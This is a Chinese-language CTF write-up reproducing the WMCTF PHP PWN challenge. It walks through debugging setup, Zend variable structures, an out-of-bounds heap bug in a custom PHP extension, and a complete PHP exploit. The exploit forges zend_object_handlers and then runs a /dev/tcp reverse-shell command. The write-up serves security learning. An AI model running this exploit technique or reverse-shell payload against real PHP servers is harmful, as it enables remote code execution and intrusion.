很早的比赛中就出现了web pwn类型的题目,不久前参加的WMCTF中也出现了一道PHP PWN,以前从来没有接触过,比赛时无从下手,赛后复现学习一下PHP PWN的基本利用思路。
环境搭建
结合以前该类型的pwn题,考察点主要是php拓展模块的漏洞利用,一般是自己实现的php的so文件,对这个so文件进行逆向分析,找到漏洞点,写php脚本实现漏洞利用。
本题给了一个Docker环境已经部署好php pwn的环境,并且容器中安装了gdbserver,不需要再自己安装对应版本的php再手动添加拓展模块,并且方便了调试。
只需要将Docker镜像导入再拉起容器即可。
导入镜像命令:
sudo docker load < wmctf_php_player.tar
查看导入的镜像:
$ sudo docker images
[sudo] password for cc:
REPOSITORY TAG IMAGE ID CREATED SIZE
wmctf_php_player latest 71dd630d58a3 2 weeks ago 521MB
拉起镜像,host模式类似于Vmware的桥接模式,方便使用容器中的gdbserver进行调试:
sudo docker run --network=host wmctf_php_player
由于不知道远程交互Docker的启动命令,本地调试的时候直接进入容器,将php脚本放到容器中进行本地调试:sudo docker exec -it cfda32d8606c /bin/bash
如下:run_php应该就是一个远程交互的接口,功能就是读入用户输入,保存到临时文件中然后php执行。
容器中php版本如下:
root@cc:/# php -v
PHP 8.0.9 (cli) (built: Jul 30 2021 00:29:20) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.9, Copyright (c) Zend Technologies
本地调试
可以通过如下命令找到php拓展模块:
root@cc:/# php -i | grep -i extension_dir
extension_dir => /usr/local/lib/php/extensions/no-debug-non-zts-20200930 => /usr/local/lib/php/extensions/no-debug-non-zts-20200930
sqlite3.extension_dir => no value => no value
root@cc:/# ls /usr/local/lib/php/extensions/no-debug-non-zts-20200930
opcache.so sodium.so wmctf_php_pwn.so
前面提到容器中已经安装了gdbserver,运行php,映射到端口6666,在本机上指定该端口即可调试,就本题写一个测试脚本。
<?php
welcome_to_wmctf();
?>
上述函数时php拓展模块中函数zif_welcome_to_wmctf:
php_printf("Welcome to WMCTF! :)\nWMcake.BabyCake.Ezcake.simpleCAke.\n");
Docker:
gdbserver 127.0.0.1:6666 php 1.php
本地gdb启动命令:
target remote 127.0.0.1:6666
add-symbol-file wmctf_php_pwn.so
b zif_welcome_to_wmctf
c
php成功加载了拓展模块:
至此,调试环境已经搭好。
PHP变量基本结构
刚开始逆向wmctf_php_pwn.so的时候,函数传参一脸懵逼,完全通过手头的wp和函数功能来猜参数意义,然后跟着Clang师傅的博客学习了一下PHP变量结构。
以zif_wm_add函数为例,IDA中参数解析部分如下:
size_t __fastcall zif_wm_add(__int64 a1, __int64 a2)
{
unsigned int args_num; // er12
__int64 v3; // r12
size_t v4; // rbx
size_t result; // rax
char *v6; // rax
Cake *v7; // r13
__int64 v8; // r13
__int64 v9; // rcx
unsigned __int64 v10; // [rsp+0h] [rbp-38h] BYREF
__int64 v11[6]; // [rsp+8h] [rbp-30h] BYREF
args_num = *(_DWORD *)(a1 + 44);
v10 = 0LL;
if ( args_num != 2 )
return zif_wm_add_cold_2(a1, a2);
if ( *(_BYTE *)(a1 + 88) == 4 )
{
v10 = *(_QWORD *)(a1 + 80);
}
else
{
v8 = a1 + 80;
if ( !(unsigned __int8)zend_parse_arg_long_slow(a1 + 80, &v10) )
{
v9 = 0LL;
args_num = 1;
return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
}
}
if ( *(_BYTE *)(a1 + 104) != 6 )
{
v8 = a1 + 96;
if ( (unsigned __int8)zend_parse_arg_str_slow(a1 + 96, v11) )
{
v3 = v11[0];
goto LABEL_6;
}
v9 = 4LL;
return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
}
调试在该处下断点,结合php源码Zend/zend_types.h中的定义,跟变量有关的基本结构体是_zval_struct,变量类型由type决定,type决定了value对应的结构体类型:
struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
type的值也在该文件中:
/* Regular data types: Must be in sync with zend_variables.c. */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
#define IS_CONSTANT_AST 11 /* Constant expressions */
/* Fake types used only for type hinting.
* These are allowed to overlap with the types below. */
#define IS_CALLABLE 12
#define IS_ITERABLE 13
#define IS_VOID 14
#define IS_STATIC 15
#define IS_MIXED 16
/* internal types */
#define IS_INDIRECT 12
#define IS_PTR 13
#define IS_ALIAS_PTR 14
#define _IS_ERROR 15
/* used for casts */
#define _IS_BOOL 17
#define _IS_NUMBER 18
根据程序逻辑*(a1+44)是参数个数,zif_wm_add对应的2个参数type值为4、6,即long和string。
以type 6为例,此时的value为zend_string。
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
搞清楚变量基本结构之后,php pwn利用经常用到的一个基本变量结构为zend_object:
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
其中包含了一个zend_object_handlers
,是一个函数指针表,包含了对zend_object
对象的操作,可以通过伪造一个zend_object_handlers
,再劫持zend_object
中的zend_object_handlers
指针实现利用。
逆向分析
结构体:
struct Cake{
char *buffer;
int len;
int flag;
}
漏洞在当edit的newSize小于oldSize时,重新申请一块内存但是没有更新size,所以可以越界读写。
if ( oldSize > newSize )
{
_efree();
v10 = (char *)_emalloc(newSize + 1);
cakeList[idx].cakeName = v10;
if ( v10 )
{
result = (__int64)strncpy(v10, (const char *)(newbuf + 24), newSize);
goto LABEL_15;
}
}
利用分析
复现学习是以venom的wp为依照,按照该思路进行利用。首先申请两个chunk,chunk的大小与zend_object_handlers结构体相同,然后利用漏洞,释放掉后申请的chunk。
然后声明一个php对象,zend_object结构体会在small chunk后,可以越界读泄露heap地址和elf基址。
$lucky = new Lucky();
$lucky->a0 = "aaaaaaa";
$lucky->a1 = function ($x) { };
并且原来被释放的内存区域变为zend_object_handlers。
查看内存,chunk 0x48下方是一个zend_object结构体:
将第一个成员变量赋值为字符串’a’*7,可以看出properties_table中是一个zend_string结构体,查看该处内存:
从最上方内存布局的图中发现,与该成员变量相邻有一个type 为8 的成员变量,即#define IS_OBJECT 8
,并且该zval的value指向了我们释放的chunk 0x100。
php的空闲内存块管理非常简单,隔size大小有一个next指针指向下一个空闲块,所以通过越界写,劫持另一大小空闲块的next。使得有一个指向zend_object_handlers块的指针,目的是读取其中内容在可控堆块中伪造该结构体。
然后利用与zend_object相邻的堆块越界写,劫持type 8 的zval结构体中的value指针,指向前面伪造的可控堆块,然后在可控堆块中伪造命令执行函数指针,即可通过($lucky->a1)($cmd);
执行任意命令。
此时内存如图:
在该地址下断点,当执行($lucky->a1)($cmd);
时:
$cmd = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
($lucky->a1)($cmd);
成功反弹shell:
还有一种做法是劫持libc中efree_got,就有点像libc pwn,就不分析了。
总结
深入学习之后觉得与其他的pwn并没有太大区别,学无止境,继续努力吧。
exp
<?php
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function get_bytes($idx, $offset, $cnt){
$address = 0;
$i = 0;
for($i = $cnt-1; $i >= 0; --$i) {
$tmp = ord(wm_get_byte($idx, $offset+$i));
$address <<= 8;
$address |= $tmp;
}
return $address;
}
function edit_bytes($idx, $offset, $cnt, $data){
$address = 0;
$i = 0;
for($i = 0; $i < $cnt; ++$i) {
$tmp = $data & 0xff;
wm_edit_byte($idx, $offset+$i, $tmp);
$data >>= 8;
}
}
class Lucky{
public $a0, $a1;
}
$str = str_repeat('B', (0x100));
welcome_to_wmctf();
wm_add(4, $str);
wm_add(0, $str);
$str1 = str_repeat('B', (0x47));
wm_edit(0, $str1);
$lucky = new Lucky();
$lucky->a0 = "aaaaaaa";
$lucky->a1 = function ($x) { };
$object_addr = get_bytes(0, 0x88, 8);
$elf_addr = get_bytes(0, 0x68, 8)-0xa6620-0x1159000;
echo "object_addr ==> 0x".dechex($object_addr)."\n";
echo "elf_addr ==> 0x".dechex($elf_addr)."\n";
wm_add(1, $str);
wm_edit(1, "A");
edit_bytes(1, 8, 8, $object_addr);#chunk 0
wm_add(2, "A");
wm_add(3, $str);
wm_edit(3, ptr2str(1, 1));# chunk3 = chunk0
for($i = 0; $i < 0x100; $i+=8){
$tmp = get_bytes(3, $i, 8);
edit_bytes(4, $i, 8, $tmp);
}
edit_bytes(0, 0x88, 8, $object_addr-0x140);# change 2 fake struct
edit_bytes(4, 0x70, 8, $elf_addr+0x429470);
edit_bytes(4, 0x38, 4, 1);
$cmd = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
($lucky->a1)($cmd);
?>
参考
https://www.anquanke.com/post/id/235237
比较详细的介绍了环境搭建的过程
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Sy7hS9bBS?type=view
详细介绍了php变量基本结构
发表评论
您还未登录,请先登录。
登录